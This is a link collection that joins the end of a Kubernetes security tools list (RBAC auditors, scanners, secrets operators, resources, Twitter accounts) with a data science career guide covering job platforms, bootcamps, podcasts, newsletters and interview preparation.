- [kubectl-bindrole](https://github.com/Ladicle/kubectl-bindrole) - Find Kubernetes roles bound to a specified ServiceAccount, Group or User
- [kubectl-dig](https://github.com/sysdiglabs/kubectl-dig) - Deep Kubernetes visibility from the kubectl
- [kubectl-kubesec](https://github.com/stefanprodan/kubectl-kubesec) - Scan Kubernetes pods, deployments, daemonsets and statefulsets with kubesec.io
- [kubectl-who-can](https://github.com/aquasecurity/kubectl-who-can) - Show who has permissions to \<verb\> \<resource\> in Kubernetes
- [OWASP Top Ten for Kubernetes](https://owasp.org/www-project-kubernetes-top-ten/) - The Top Ten is a prioritized list of these risks backed by data collected from organizations varying in maturity and complexity
- [terrascan](https://github.com/accurics/terrascan) - Detect compliance and security violations across Infrastructure as Code to mitigate risk before provisioning cloud native infrastructure
- [kyverno](https://github.com/nirmata/kyverno) - Kubernetes Native Policy Management
- [netchecks](https://github.com/hardbyte/netchecks/) - Tool to validate assumptions about the network
- [rakkess](https://github.com/corneliusweig/rakkess) - Review access matrix for Kubernetes server resources
- [rback](https://github.com/team-soteria/rback) - RBAC in Kubernetes visualizer
- [red-kube](https://github.com/lightspin-tech/red-kube) - K8S Adversary Emulation Based on kubectl
- [steampipe](https://github.com/turbot/steampipe) - Use SQL to query your cloud services (AWS, Azure, GCP and more) running Kubernetes
- [steampipe-kubernetes](https://github.com/turbot/steampipe-plugin-kubernetes) - Use SQL to query your Kubernetes resources
- [steampipe-kubernetes-compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance) - Kubernetes compliance scanning tool for CIS, NSA & CISA Cybersecurity technical report for Kubernetes hardening.
- [trivy](https://github.com/aquasecurity/trivy) - A Simple and Comprehensive Vulnerability Scanner for Containers, Suitable for CI
- [trivy-operator](https://github.com/aquasecurity/trivy-operator) - Kubernetes-native security (Vulnerabilities,IaC MisConfig,Exposed Secrets,RBAC Assessment,Compliance and more) toolkit for kubernetes
- [kubernetes-rbac-audit](https://github.com/cyberark/kubernetes-rbac-audit) - Tool for auditing RBACs in Kubernetes
- [kubernetes-external-secrets](https://github.com/external-secrets/kubernetes-external-secrets) - Tool to get External Secrets from Hashicorp Vault and AWS SSM
- [vault-secrets-operator](https://github.com/ricoberger/vault-secrets-operator) - An operator to create Kubernetes secrets from Vault for a secure GitOps based workflow
## General Resources
- [Kubernetes Security and Disclosure Information](https://kubernetes.io/docs/reference/issues-security/security/)
- [Kubernetes Security](https://kubernetes-security.info/)
- [GKE Security Bulletins](https://cloud.google.com/kubernetes-engine/docs/security-bulletins)
- [CKS Certified Kubernetes Security Specialist resources repo](https://github.com/walidshaari/Certified-Kubernetes-Security-Specialist)
- [Kubernetes Security Checklist and Requirements](https://github.com/Vinum-Security/kubernetes-security-checklist)
- [OWASP Kubernetes Security Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Kubernetes_Security_Cheat_Sheet.html)
- [Securing Kubernetes Clusters](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [Kubernetes Security : 6 Best Practices for 4C Security Model](https://spacelift.io/blog/kubernetes-security)
## Twitter Accounts
- [Andrew Martin](https://twitter.com/sublimino)
- [Ann N Wallace](https://twitter.com/annnwallace)
- [Annabelle Bertucio](https://twitter.com/WhyHiAnnabelle)
- [Brad Geessaman](https://twitter.com/bradgeesaman)
- [Duffie Cooley](https://twitter.com/mauilion)
- [Erik St. Martin](https://twitter.com/erikstmartin)
- [Greg Castle](https://twitter.com/mrgcastle)
- [Ian Coldwater](https://twitter.com/iancoldwater)
- [Jimmy Mesta](https://twitter.com/jimmesta)
- [Jordan Liggitt](https://twitter.com/liggitt)
- [learnk8s](https://twitter.com/learnk8s)
- [Liz Rice](https://twitter.com/lizrice)
- [Mark Manning](https://twitter.com/antitree)
- [Maya Kaczorowski](https://twitter.com/MayaKaczorowski)
- [Michael Ducy](https://twitter.com/mfdii)
- [Michael Hausenblas](https://twitter.com/mhausenblas)
- [Peter Benjamin](https://twitter.com/petermbenjamin)
- [Rory McCune](https://twitter.com/raesene)
- [Tabitha Sable](https://twitter.com/TabbySable)
- [Tim Allclair](https://twitter.com/tallclair)
- [Timothy St. Clair](https://twitter.com/timothysc)
- [Sangam Biradar](https://github.com/sangam14)
|
# Data Science and Machine Learning Career
---------
This repo is designed to give prospective analytical employees some additional information that might help with the job search. It takes inspiration from [Conor Dewey](https://github.com/conordewey3), [Academic](https://github.com/academic/awesome-datascience), [CIO](https://www.cio.com/article/3051124/10-boot-camps-to-kick-start-your-data-science-career.html), [ZuZooVN](https://github.com/ZuzooVn/machine-learning-for-software-engineers), [Maxim](https://github.com/MaximAbramchuck), [ryanswanstorm](https://github.com/ryanswanstrom/awesome-datascience-colleges)
## Platforms:
1. [Triplebyte](https://triplebyte.com/a/Nosq7GM/careera) - Take a quiz. Get offers from multiple top tech companies at once - includes a machine learning track.
2. [Toptal](https://www.toptal.com/) - Developers seeking to gain entry into the Toptal community are put through a battery of personality and technical tests.
3. [Hired](https://hired.com/) - Hired matches employers with qualified candidates through a combination of in-house algorithms and online support.
4. [Kaggle](https://www.kaggle.com/jobs) - Take your competition skills to an employer.
5. [Direct](https://github.com/firmai/business-machine-learning-vendors) - Contact companies directly (not recommended)
6. [AI Jobs](https://ai-jobs.net/) - Jobs in AI and Big Data
7. [Analytics Jobs UK](https://www.analyticsjobs.co.uk/) - Support analytics workers with useful career information
## Reviews:
- [Glassdoor](https://www.glassdoor.com/index.htm) - Best employee narratives.
- [Indeed](https://www.indeed.com/) - Best coverage.
- [Kununu](https://www.kununu.com/us) - Best well-rounded infromation.
- [Comparably](https://www.comparably.com/) - Best comparison functionality.
- [InHerSight](https://www.inhersight.com/) - Best female-friendly perspective.
- [Paysa](https://www.paysa.com/https://www.paysa.com/) - Are you getting paid your market salary.
- [Levels.fyi](https://www.levels.fyi/) - Compare career levels across companies.
## Respected Online Courses
- [Deep Learning Specialization](https://www.coursera.org/specializations/deep-learning)
- [Mathematics for Machine Learning](https://www.coursera.org/specializations/mathematics-machine-learning)
- [Machine Learning and Deep Learning Fast.ai](https://www.fast.ai/)
- [Machine Learning with TensorFlow on Google Cloud Platform](https://www.coursera.org/specializations/machine-learning-tensorflow-gcp)
- [TensorFlow in Practice Specialization](https://www.coursera.org/specializations/tensorflow-in-practice)
## **Competitions**
- [Kaggle](https://www.kaggle.com/)
- [DrivenData](https://www.drivendata.org/)
- [DataHack](http://datahack.analyticsvidhya.com/)
- [Machine Hack](https://www.machinehack.com/)
- [The Data Science Game](http://www.datasciencegame.com/)
- [CrowdANALYTIX](https://www.crowdanalytix.com/)
- [InnoCentive](https://www.innocentive.com/)
- [TuneedIT](http://tunedit.org/challenges)
- [Hacker Earth](https://www.hackerearth.com/)
- [Solutions](https://github.com/interviewBubble/Data-Science-Competitions)
## **Respected Packages (From 300 listings)**
- [Python](https://www.python.org)
- [R](https://www.r-project.org)
- [SQL](https://en.wikipedia.org)
- [Apache Spark](https://spark.apache.org/)
- [Hadoop](https://hadoop.apache.org)
- [Java](https://howtodoinjava.com)
- [Scala](https://www.scala-lang.org)
- [Tensorflow](https://www.tensorflow.org/), [Keras](https://keras.io/)
- [Pandas](https://pandas.pydata.org)
- [Numpy](https://numpy.org)
- [SAS](www.sas.com)
- [MongoDB](https://www.mongodb.com)
- [Tableau](https://www.tableau.com)
- [PowerBI](https://powerbi.microsoft.com)
- [Hive](https://hive.apache.org)
## **Respected Skill Tags (From 300 listings)**
- Machine Learning
- Statistics
- Applied Mathematics
- Big Data
- Deep Learning
- Data Visualisation
- Data Analysis
- NLP
- ETL
- Computer Vision
## **Respected Bootcamps**
| Name | Switchup Rating | Cost | Locations |
| -------------------------------------------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [NYC Data Science Academy](https://nycdatascience.com) | 4.87 | $17,600 | New York City and online |
| [Dataquest](https://www.dataquest.io) | 4.92 | $29 for a basic monthly subscription; $49 for a premium monthly subscription | Online |
| [RMOTR](https://rmotr.com) | 4.91 | $349 per month; one-week free trial available | Online |
| [Springboard](https://www.springboard.com) | 4.73 | $499 per month | Online |
| [General Assembly](https://generalassemb.ly) | 3.98 | $3,950 for the part-time online courses; $15,950 for the in-person full-time immersive bootcamp program | Dallas, Providence, San Diego, San Francisco, Seattle, New York City, Washington (D.C.), Austin, Los Angeles, Atlanta, Denver, Chicago, London, Singapore, Hong Kong, Sydney, Melbourne, Boston, Santa Monica and online |
| [Metis](https://www.thisismetis.com) | 4.91 | $750 per course | Chicago, New York City, San Francisco, Seattle, Singapore and online |
| [Data Science Dojo](https://datasciencedojo.com) | 4.91 | Packages range from $3,799 to $4,499 with the option for flexible payment plans | Seattle, Washington (D.C.), Austin, Chicago, New York City, Toronto, Barcelona, Bucharest, Las Vegas, Singapore, Dubai, Amsterdam, Pretoria and Bangalore |
| [Thinkful](https://www.thinkful.com) | 4.89 | $16,000 for the full-time course; $9,500 for the flexible six-month course | Washington (D.C.), Philadelphia, Houston, Portland, Dallas, Los Angeles, Phoenix, San Diego, Atlanta, Miami, Tampa, Chicago, Raleigh-Durham, Denver, Boston, San Francisco, Detroit, Salt Lake City, Seattle, Minneapolis, Austin and online |
| [DataCamp](https://www.datacamp.com) | 4.61 | $25 per month | Online |
| [The Dev Masters](https://www.thedevmasters.com) | 4.97 | $4,995 for project-based learning; $6,995 for the mastering applied data science program; $3,500 for the data science for professionals program. | Los Angeles, Orange County and Santa Monica |
| [Ubiqum Code Academy](https://ubiqum.com) | 4.85 | $9,000 | Amsterdam, Barcelona, Berlin and Madrid |
| [Level](http://www.leveledu.com/) | 4.52 | $4,495 for the introductory data analytics course; $7,995 for the intermediate data analytics program | Boston, Charlotte, San Francisco, San Jose, Seattle, Toronto and online |
| [The Data Incubators](https://www.thedataincubator.com/) | 4.52 | Free for accepted fellows | Boston, New York City, San Francisco, Washington (D.C.) and online |
| [Jedha](https://jedha.co) | 5.0 | $3,595 for the full stack data science program; $995 for the fundamentals in data science | Lyon and Paris |
| [Science to Data Science](http://www.s2ds.org) | 4.83 | £800 registration fee, after that the course is free if you are accepted | London and online |
## Podcasts
- #### Podcasts for Beginners:
- [Talking Machines](http://www.thetalkingmachines.com/)
- [Linear Digressions](http://lineardigressions.com/)
- [Data Skeptic](http://dataskeptic.com/)
- [This Week in Machine Learning & AI](https://twimlai.com/)
- [Machine Learning Guide](http://ocdevel.com/podcasts/machine-learning)
- [Adversarial Learning](http://adversariallearning.com/)
- [Becoming a Data Scientist](https://www.becomingadatascientist.com/category/podcast/)
- [Data Crunch](http://vaultanalytics.com/datacrunch/)
- [Learning Machines 101](http://www.learningmachines101.com/)
- [Superdatascience](https://www.superdatascience.com/podcast/)
- [What's The Point](https://fivethirtyeight.com/tag/whats-the-point/)
- [Practical AI](https://changelog.com/practicalai)
- #### "More" advanced podcasts
- [Partially Derivative](http://partiallyderivative.com/)
- [O’Reilly Data Show](http://radar.oreilly.com/tag/oreilly-data-show-podcast)
- [Not So Standard Deviation](https://soundcloud.com/nssd-podcast)
- #### Podcasts to think outside the box:
- [Data Stories](http://datastori.es/)
## **Popular Careers**
- [Data Scientist](https://www.indeed.com/jobs?q=Data+Scientist&l=)
- [Data Analyst](https://www.indeed.com/jobs?q=Data+Analyst&l=)
- [Data Architect](https://www.indeed.com/jobs?q=Data+Architect&l=)
- [Data Engineer](https://www.indeed.com/jobs?q=Data+Engineer&l=)
- [Business Analyst](https://www.indeed.com/jobs?q=Business+Analyst&l=)
- [Marketing Analyst](https://www.indeed.com/jobs?q=Marketing+Analyst&l=)
- [Data Manager](https://www.indeed.com/jobs?q=Data+Manager&l=)
- [Business Intelligence Analyst](https://www.indeed.com/jobs?q=Business+Intelligence+Analyst&l=)
- [Machine Learning Engineer](https://www.indeed.com/jobs?q=Machine+Learning+Engineer&l=)
- [Statistician](https://www.indeed.com/jobs?q=Statistician&l=)
## Groups
### Linkedin Groups
- Data Mining, Statistics, Big Data, Data Visualization, and Data Science
- Artificial Intelligence, Deep Learning, Machine Learning
- Big Data, Analytics, Business Intelligence & Visualization Experts Community
- KDnuggets Machine Learning, Data Science, Data Mining, Big Data, AI
- Cloud Computing, SaaS & Virtualization
- Data Warehouse — Big Data — Hadoop — Cloud — Data Science — ETL
- Artificial Intelligence, Deep Learning and IoT
- SQL Server Business Intelligence(BI)
- Internet of Things
- Bank and Finance Technology — FinTech Banking Systems Financial Executives
- Cloud Computing
- Python Community
- Python Data Science and Machine Learning
### Reddit:
- Dataengineering
- Dataisbeautiful
- Datasets
- Datascienceproject
- Learndatascience
- Learnprogramming
- Learnpython
- Machinelearning
- Learnmachinelearning
- Python
- Computervision
- learnprogramming
- Businessintelligence
- programming
- Scala
- AWS
- bigdata
- SQL
## **Main Industry Companies**
- [Artificial Intelligence](https://en.wikipedia.org/wiki/Artificial_intelligence)
- Google
- Amazon
- Microsoft
- IBM
- Salesforce
- Intel
- OpenAI
- [Biotechnology](https://en.wikipedia.org/wiki/Biotechnology)
- AbbVie
- Aduro Biotech
- Genentech
- Illumina
- Jounce Therapeutics
- Merck & Company
- Somalogic
- [Finance](https://en.wikipedia.org/wiki/Finance)
- JP Morgan
- Barclays
- Goldman Sachs
- ING
- Two Sigma
- Renaissance
- Citadel
- AQR
- Bridgewater
- DE Shaw
- Blackstone
- Bain Capital
- [Health Care](https://en.wikipedia.org/wiki/Health_care)
- Berg
- CHAMPS Oncology
- DarkMatter2db
- Health Catalyst
- Kairoi Health
- [Insurance](https://en.wikipedia.org/wiki/Insurance)
- Allianz SE
- UnitedHealth
- Anthem
- Humana
- Centene Corporation
- [Logistics](https://en.wikipedia.org/wiki/Logistics)
- Amazon
- Wallmart
- Tesla
- Convoy
- Flexport
- FedEx
- CargoX
- 6 River Systems
- Nuro
- [Marketing and Advertising](https://en.wikipedia.org/wiki/Marketing)
- Amazon
- Google
- Facebook
- Asos
- Alibaba
- InsideSales.com
- Conversica
## **Thought Leaders**
I don't know the other areas that well, send my your thought leaders by pull request.
- [Artificial Intelligence](https://en.wikipedia.org/wiki/Artificial_intelligence)
- [Biotechnology](https://en.wikipedia.org/wiki/Biotechnology)
- [Finance](https://en.wikipedia.org/wiki/Finance)
- Marcos Lopez de Prado
- Igor Halperin
- Gordon Ritter
- Paul Bilokon
- Saeed Amen
- Apoorv Saxena
- Charles Elkan
- Mike Schuster
- [Health Care](https://en.wikipedia.org/wiki/Health_care)
- [Insurance](https://en.wikipedia.org/wiki/Insurance)
- [Law Enforcement](https://en.wikipedia.org/wiki/Law_enforcement)
- [Logistics](https://en.wikipedia.org/wiki/Logistics)
- [Marketing and Advertising](https://en.wikipedia.org/wiki/Marketing)
- [Sports](https://en.wikipedia.org/wiki/Sport)
## **Highest Paying Data Science Jobs**
- [Pinterest](https://www.paysa.com/salaries/pinterest--data-scientist)
- [Lyft ](https://www.paysa.com/salaries/lyft--data-scientist)
- [Uber ](https://www.paysa.com/salaries/uber--data-scientist)
- [Facebook ](https://www.paysa.com/salaries/facebook--data-scientist)
- [Dropbox ](https://www.paysa.com/salaries/dropbox--data-scientist)
## Communities
- Quora
- [Machine Learning](https://www.quora.com/topic/Machine-Learning)
- [Statistics](https://www.quora.com/topic/Statistics-academic-discipline)
- [Data Mining](https://www.quora.com/topic/Data-Mining)
- Reddit
- [Machine Learning](https://www.reddit.com/r/machinelearning)
- [Computer Vision](https://www.reddit.com/r/computervision)
- [Natural Language](https://www.reddit.com/r/languagetechnology)
- [Data Science](https://www.reddit.com/r/datascience)
- [Big Data](https://www.reddit.com/r/bigdata)
- [Statistics](https://www.reddit.com/r/statistics)
- [Data Tau](http://www.datatau.com/)
- [Deep Learning News](http://news.startup.ml/)
- [KDnuggets](http://www.kdnuggets.com/)
## Conferences
- Neural Information Processing Systems ([NIPS](https://nips.cc/))
- International Conference on Learning Representations ([ICLR](http://www.iclr.cc/doku.php?id=ICLR2017:main&redirect=1))
- Association for the Advancement of Artificial Intelligence ([AAAI](http://www.aaai.org/Conferences/AAAI/aaai17.php))
- IEEE Conference on Computational Intelligence and Games ([CIG](http://www.ieee-cig.org/))
- IEEE International Conference on Machine Learning and Applications ([ICMLA](http://www.icmla-conference.org/))
- International Conference on Machine Learning ([ICML](https://2017.icml.cc/))
- International Joint Conferences on Artificial Intelligence ([IJCAI](http://www.ijcai.org/))
- Association for Computational Linguistics ([ACL](http://acl2017.org/))
## Journals, Publications and Magazines
* [ICML](http://icml.cc/2015/) - International Conference on Machine Learning
* [epjdatascience](http://epjdatascience.springeropen.com/)
* [Journal of Data Science](http://www.jds-online.com/) - an international journal devoted to applications of statistical methods at large
* [Big Data Research](https://www.journals.elsevier.com/big-data-research)
* [Journal of Big Data](http://journalofbigdata.springeropen.com/)
* [Big Data & Society](http://journals.sagepub.com/home/bds)
* [Data Science Journal](https://www.jstage.jst.go.jp/browse/dsj)
* [datatau.com/news](http://www.datatau.com/news) - Like Hacker News, but for data
* [Data Science Trello Board](https://trello.com/b/rbpEfMld/data-science)
* [Medium Data Science Topic](https://medium.com/topic/data-science) - Data Science related publications on medium
## **Colleges**
- [All Data Science Colleges](http://datascience.community/colleges)
- [Data Science Degree @ Berkeley](https://datascience.berkeley.edu/)
- [Data Science Degree @ UVA](https://dsi.virginia.edu/)
- [Data Science Degree @ Wisconsin](http://datasciencedegree.wisconsin.edu/)
- [Master of Information @ Rutgers](http://online.rutgers.edu/master-library-info/)
- [MS in Computer Information Systems @ Boston University](http://cisonline.bu.edu/)
- [MS in Business Analytics @ ASU Online](http://asuonline.asu.edu/online-degree-programs/graduate/master-science-business-analytics/)
- [Data Science Engineer @ BTH](https://www.bth.se/nyheter/bth-startar-sveriges-forsta-civilingenjorsprogram-inom-data-science/)
- [MS in Applied Data Science @ Syracuse](https://ischool.syr.edu/academics/graduate/masters-degrees/ms-in-applied-data-science/)
- [M.S. Management & Data Science @ Leuphana](https://www.leuphana.de/en/graduate-school/master/course-offerings/management-data-science.html)
- [Master of Data Science @ Melbourne University](https://science-courses.unimelb.edu.au/study/degrees/master-of-data-science/overview#overview)
- [Msc in Data Science @ The University of Edinburgh](https://www.ed.ac.uk/studying/postgraduate/degrees/index.php?r=site/view&id=902)
- [Master of Management Analytics @ Queen's University](https://smith.queensu.ca/grad_studies/mma/index.php)
- [Master of Data Science @ Illinois Institute of Technology](https://science.iit.edu/programs/graduate/master-data-science)
## Newsletters:
[**Data Science Weekly**](https://www.datascienceweekly.org/)
Data Science Weekly is definitely a fan-favorite, and for good reason. The newsletter started in 2013 and has pumped out 276 consistent issues since. It starts off with an *Editor Picks* section and quickly moves onto listing a bunch of data science articles and videos. Furthermore, it includes a section for job openings, tutorials, and books as well. Sent every Thursday, this one is well worth your time. Check out a [recent issue](https://www.datascienceweekly.org/newsletters/data-science-weekly-newsletter-issue-276).
[**O’Reilly Data Newsletter**](https://www.oreilly.com/data/newsletter.html)
You have probably heard of [O’Reilly Media](https://www.oreilly.com/) in one way or another. Personally, I have a collection of their books sitting on my desk at all times. They also publish ebooks, host conferences, and offer other learning solutions. Their data-focused newsletter delivers 10 links each week that range from news to tutorials to white-papers.
[**Data Elixir**](https://dataelixir.com/)
Data Elixir takes a similar approach, breaking things down into a wide-ranging collection of weekly news, insights, tools & techniques, resources, and data visualization. The newsletter goes out to over 29,000 subscribers and is delivered every Tuesday. Check out a [recent issue](https://dataelixir.com/issue/?num=224).
[**Data Machina**](https://datamachina.substack.com/)
Data Machina is a more technical newsletter that breaks down links by technology, hitting on topics from R to blockchain to algorithms. There’s really a little bit of everything here. I subscribe to the free version, sent every two weeks but it looks like you can pay to receive the newsletter every week if you would like. Check out a [recent issue](https://datamachina.substack.com/p/data-machina-150).
[**The Analytics Dispatch**](https://mode.com/newsletter/)
[Mode](https://mode.com/business/) offers a number of enterprise data solutions, but they also put out a pretty good data newsletter every week. They primarily focus on articles that catch their eye around the community but also include a section for featured data jobs as well. Check out a [recent issue](https://mode.com/resources/analytics-dispatch/2019-03-11/).
[**Machine Learnings**](https://us10.list-manage.com/subscribe?u=6ee1802497b4ea1c66ce61da4&id=afa70be09a)
As you might have guessed, Machine Learnings focuses on ML and AI news primarily. I particularly enjoy the *Awesome* and *Not Awesome* sections that give bite-sized news if you’re in a rush. Others seem to like it as well, as the newsletter boasts 40,000+ subscribers. Check out a [recent issue](https://mailchi.mp/usejournal/machine-learnings-another-autonomous-vehicle-related-death?e=8489f0e7ea).
[**The Data Science Roundup**](http://roundup.fishtownanalytics.com/)
Another newsletter that has been around for some time, The Data Science Roundup has 177 published issues and over 7,000 subscribers to date. This newsletter takes a more concise approach, offering 5 or so links each week with an insightful reflection written on each article. Check out a [recent issue](http://roundup.fishtownanalytics.com/issues/generalists-or-specialists-transformer-models-time-to-migrate-your-pdts-designing-resilient-kpis-dsr-178-166781).
[**Hacker News Digest**](https://www.hndigest.com/)
Not a data science newsletter per se, but a valuable resource nonetheless. Like most people in tech, I love [Hacker News](https://news.ycombinator.com/). However, I had a hard time keeping up with it, until I found this. You can dictate the frequency and amount of links that are sent to you based on the number of upvotes on each post.
[**Kaggle Newsletter**](https://us1.campaign-archive.com/?u=e4c8fb8b43860678deab268e5&id=c810091291&e=abeaa8fb3e)
This newsletter contains any recent blog posts, interviews, or news regarding [Kaggle](https://www.kaggle.com/), everyone’s favorite machine learning competition site. It also includes links, resources, meetups, and job openings around the community. I couldn’t find a subscribe link for this one, pretty sure Kaggle automatically subscribes you when you make an account.
[**Stratechery: The Daily Update**](https://stratechery.com/membership/)
Stratechery’s Daily Update is a little different than the others in that it’s a paid, daily membership. Not a traditional data science newsletter, these reports focus on tech strategy think-pieces. It’ll run you around $10/month, a little less if you pay yearly. This is one of the few places where I gladly pay for written content, [Medium being the other](https://medium.com/swlh/why-i-spend-5-monthly-on-medium-7092255476c4). There’s also plenty of free essays available on the site. Check out [this post](https://stratechery.com/2018/data-factories/?utm_campaign=Data_Elixir&utm_medium=email&utm_source=Data_Elixir_203) and others to get a feel for it.
[**Import AI**](https://us13.campaign-archive.com/home/?u=67bd06787e84d73db24fb0aa5&id=6c9d98ff2c)
Import AI leans heavily on technical machine learning and AI resources, often white-papers and recent research results. The issues also include an impressive amount of analysis. Even if none of that is your thing, make sure to read the *Tech Tales* section at the end for an always-interesting futuristic story. Check out a [recent issue](https://us13.campaign-archive.com/?u=67bd06787e84d73db24fb0aa5&id=444cb24955).
[**The Wild Week in AI**](https://www.getrevue.co/profile/wildml?utm_campaign=Issue&utm_content=profilename&utm_medium=email&utm_source=The+Wild+Week+in+AI)
Similar to Import AI, this newsletter covers technical machine learning and AI tutorials, projects, research papers, and news. Delivered a bit sporadically, The Wild Week in AI has over 17,000 subscribers if that’s any indication of the content. Check out a [recent issue](https://www.getrevue.co/profile/wildml/issues/the-wild-week-in-ai-83-tensorflow-dev-summit-highlights-world-models-cloud-text-to-speech-and-more-104034).
[**Data Is Plural**](https://tinyletter.com/data-is-plural)
Data Is Plural is delivered weekly, focusing solely on interesting datasets for you to explore or use in your next side-project. There’s also a pretty awesome [Google doc](https://docs.google.com/spreadsheets/d/1wZhPLMCHKJvwOkP4juclhjFgqIY8fQFMemwKL2c64vk/edit#gid=0) that serves as the archive for all these datasets dating back to 2015. Check out a [recent issue](https://tinyletter.com/data-is-plural/letters/data-is-plural-2019-03-13-edition).
[**TDS Weekly Selection**](https://towardsdatascience.com/tagged/tds-letter)
Last but not least, the team at [Towards Data Science](https://towardsdatascience.com/) puts out both weekly and monthly digests of the most popular posts on the publication. You can receive these emails by accepting *Letters* from TDS if you go to the dropdown found on their homepage. Check out a [recent issue](https://towardsdatascience.com/weekly-selection-mar-15-2019-cbe5aa422a31).
## Project Inspiration:
[**Data is Beautiful**](https://www.reddit.com/r/dataisbeautiful/)
I could spend hours just browsing this subreddit of data visualizations. You’ll be interested in all of the unique ideas and questions that people think up. There’s also monthly challenge where a dataset is chosen, and users are tasked with visualizing it in the most effective way possible. Sort by best all time for instant gratification.
[**Kaggle**](https://www.kaggle.com/datasets)
I would be remiss if I didn’t mention the poster child of online data science. There’s a couple ways to use Kaggle effectively for inspiration. First, you can look at the [trending datasets](https://www.kaggle.com/datasets) and think of interesting ways to leverage the information. If you’re more interested in machine learning and the examples themselves, the [kernels feature](https://www.kaggle.com/kernels) has gotten better and better over time.
[**The Pudding**](https://pudding.cool/)
It really is true that visual essays are an emerging form of journalism. The Pudding embodies this movement like none other. The team uses original datasets, primary research, and interactivity in order to explore tons of interesting topics.
[**FiveThirtyEight**](https://fivethirtyeight.com/)
A classic, but still good to this day. I mean come on, [Nate Silver](https://fivethirtyeight.com/contributors/nate-silver/) is the man. The data-driven blog touches on everything from politics to sports to culture. Not to mention, they just revamped their much improved [data export](https://data.fivethirtyeight.com/) page.
[**Towards Data Science**](https://towardsdatascience.com/)
Lastly, I’ve got to give a shoutout to the [TDS Team](https://towardsdatascience.com/u/7e12c71dfa81?source=post_page-----ea6afbe20319----------------------) for bringing together this community of smart people with a passion for achieving things and helping others grow in data science. Browsing recent stories will bring you more than a few interesting project ideas on any given day.
## Technical Prep
- HackerRank (http://hackerrank.com/)
- CodeChef (http://codechef.com/)
- HackerEarth(http://hackerearth.com/)
- LeetCode (http://leetcode.com/)
- Topcoder (http://topcoder.com/)
- Kaggle (http://kaggle.com/)
- ChallengePost (http://challengepost.com/)
- CodeForces (http://codeforces.com/)
- Brilliant (http://brilliant.org/)
- SPOJ (http://www.spoj.com/)
- Project Euler (https://projecteuler.net/)
- CodingBat (http://codingbat.com/)
- Codewars (http://www.codewars.com/)
- Codility (https://codility.com/)
- Codingame (https://www.codingame.com/)
- CoderByte (https://coderbyte.com/)
- CodeEval (https://www.codeeval.com/)
- UVA Online Judge (https://uva.onlinejudge.org/)
- CodeFights (https://codefights.com/)
- CheckiO (http://www.checkio.org/)
- Talentbuddy (http://talentbuddy.co/)
- PythonChallenge (http://pythonchallenge.com/)
- LintCode (http://www.lintcode.com/en/)
- Rosalind (http://rosalind.info/problems/locations/)
- CrowdANALYTIX (https://www.crowdanalytix.com/)
- SQL-EX.RU (http://sql-ex.ru/)
- Kattis (http://www.kattis.com/)
- CodeKata (http://codekata.com/)
- CodeAbbey (http://codeabbey.com/)
- FightCode (http://fightcodegame.com/)
- BeatMyCode (http://www.beatmycode.com/)
- TunedIT (http://tunedit.org/)
- MLComp (http://mlcomp.org/)
- HPC University (http://hpcuniversity.org/students/weeklyChallenge/)
- Practice It (https://practiceit.cs.washington.edu/)
# Interviews
**General**
- [Interview Q&A bank](https://github.com/iamtodor/data-science-interview-questions-and-answers)
- [Tech Interview Handbook](https://github.com/yangshun/tech-interview-handbook)
- [Best Data Science Courses Online](https://medium.freecodecamp.org/the-best-data-science-courses-on-the-internet-ranked-by-your-reviews-6dc5b910ea40)
- [What it’s like to be on the data science job market](http://treycausey.com/data_science_interviews.html)
- [Learn Data Science on Quora](https://datascienceinterview.quora.com/)
- [Tips for Data Science Interviews on Quora](https://www.quora.com/What-are-tips-for-data-science-interviews-1)
- [How do I prepare for a phone interview with Airbnb?](https://www.quora.com/How-do-I-prepare-for-a-phone-interview-for-a-data-scientist-position-with-Airbnb)
- [Emily Robinson Advice Applying to Data Science Jobs](http://hookedondata.org/Advice-for-Applying-to-Data-Science-Jobs/)
- [Two Sides of Getting a Job as a Data Scientist](https://towardsdatascience.com/the-two-sides-of-getting-a-job-as-a-data-scientist-a4571acc58bc)
- [Robert Chang Doing Data Science at Twitter](https://medium.com/@rchang/my-two-year-journey-as-a-data-scientist-at-twitter-f0c13298aee6)
- [Questions I’m Asking in Interviews](https://jvns.ca/blog/2013/12/30/questions-im-asking-in-interviews/)
- [Creating a Great Data Science Resume](https://will-stanton.com/2015/07/15/creating-a-great-data-science-resume/)
- [Data Science Interview Guide](https://towardsdatascience.com/data-science-interview-guide-4ee9f5dc778)
- [3 Types of Data Science Interview Questions Joma Tech](https://www.youtube.com/watch?v=4Z6lxfglvUU)
- [How to Land a Data Scientist Position at Airbnb](https://towardsdatascience.com/how-to-land-a-data-scientist-job-at-your-dream-company-my-journey-to-airbnb-f6a1e99892e8)
- [Red Flags In Data Science Interviews](http://hookedondata.org/Red-Flags-in-Data-Science-Interviews/)
- [Advice Building out a Portfolio](https://medium.com/@jasonkgoodman/advice-on-building-data-portfolio-projects-c5f96d8a0627)
- [Youtube William Chen Resume/Portfolio Tips](https://www.youtube.com/watch?v=xrhPjE7wHas&feature=youtu.be&t=2m43s)
- [How to Prepare for Data Science Interviews Quora Answers](https://www.quora.com/How-do-I-prepare-for-a-data-scientist-interview)
- [120 Data Science Questions Answers](https://github.com/kojino/120-Data-Science-Interview-Questions)
- [Analytics Vidhya Comprehensive Interview Resources](https://www.analyticsvidhya.com/blog/2018/06/comprehensive-data-science-machine-learning-interview-guide/)
- [Dataquest Data Science Career Guide](https://www.dataquest.io/blog/data-science-career-guide/?utm_campaign=Data_Elixir&utm_medium=email&utm_source=Data_Elixir_227)
- [Notes and technical questions from interviewing as a Data Scientist in 2018](https://towardsdatascience.com/notes-and-technical-questions-from-interviewing-as-a-data-scientist-in-2018-20e7e3ee4ab3)
- [Mastering the Data Science Interview Loop](https://towardsdatascience.com/mastering-the-data-science-interview-15f9c0a558a7)
- [Data Science Interview Questions for Top Tech Companies](https://www.dezyre.com/article/-data-science-interview-questions-for-top-tech-companies/189)
- [66 Job Interview Questions for Data Scientists](http://www.datasciencecentral.com/profiles/blogs/66-job-interview-questions-for-data-scientists)
- [An Annotated List of Data Scientist Technical Interview Questions](https://www.recruityourninja.com/technical-interview-questions-data-scientist/)
**Algorithmic Coding & Python**
- [Time complexity in Python](https://wiki.python.org/moin/TimeComplexity)
- [Leetcode](https://leetcode.com/)
